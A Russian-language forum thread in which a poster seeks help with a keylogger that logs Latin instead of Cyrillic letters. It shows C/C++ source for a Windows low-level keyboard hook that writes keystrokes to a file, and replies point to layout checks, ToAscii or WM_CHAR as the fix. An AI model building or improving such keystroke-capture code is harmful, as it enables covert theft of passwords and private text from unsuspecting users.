Кейлоггер за место русских букв выводит английские как быть?

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Apathy, 30 Oct 2011.

  1. Apathy

    Apathy New Member

    Joined:
    25 Aug 2011
    Messages:
    41
    Likes Received:
    0
    Reputations:
    0
    Добрый день.Проблема в то что выводяться только английские буквы какие методы решения могут быть???
    была мысля опеределять раскладку и если она русская менять букву находя ее позицию в 1 массиве на букву под тем же номером из 2 массива... мб есть метод рациональнее?
    FILE *f;
    char buf;
    f=fopen(cPath,"a+");
    sprintf(buf,"%c",char(tolower(p->vkCode))); break;
    fputs(buf,f);
    fclose(f);
     
  2. =Zeus=

    =Zeus= Member

    Joined:
    10 Aug 2009
    Messages:
    213
    Likes Received:
    54
    Reputations:
    5
    "У меня в машине что-то стучит, как быть?" - это примерно твой вопрос.
    Если хочешь, чтоб тебе помогли - покажи код для начала. Опиши, какие методы использовал.
     
  3. Apathy

    Apathy New Member

    Joined:
    25 Aug 2011
    Messages:
    41
    Likes Received:
    0
    Reputations:
    0
    ОБычный хук... работает все,но только даже при русской раскладке фигачит английскими,потому что в vkCode не существует русских букв - как быть?
    LRESULT CALLBACK hkKeys(INT nCode, WPARAM wParam, LPARAM lParam)
    {
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
    if(wParam == WM_KEYDOWN)
    {
    FILE *f;
    char buf[10];
    f=fopen(cPath,"a+");

    fscanf(f,"%s",buf);
    MessageBox(0,buf,buf,0);
    switch(p->vkCode)
    {
    case VK_SPACE: sprintf(buf,"%s"," ");break;
    // ну тут проверки других клавиш типа таба и ентера
    default:

    sprintf(buf,"%c",char(tolower(p->vkCode))); break;

    }



    fputs(buf,f);
    fclose(f);



    }
    return CallNextHookEx(kbdhook, nCode, wParam, lParam);
    }
     
  4. DooD

    DooD Elder - Старейшина

    Joined:
    30 Sep 2010
    Messages:
    1,168
    Likes Received:
    450
    Reputations:
    288
    потому что через глобальный хук ты не сможешь писать русскими символами.Для глобального хука делаешь так:
    проверяешь раскладку каждое определенное время и делаешь замену текста,то есть типа
    if str='a' then str='ф' и т.д.
     
  5. Apathy

    Apathy New Member

    Joined:
    25 Aug 2011
    Messages:
    41
    Likes Received:
    0
    Reputations:
    0
    кому интересно вопрос решаеется путем функции ToAscii либо отловом wm_char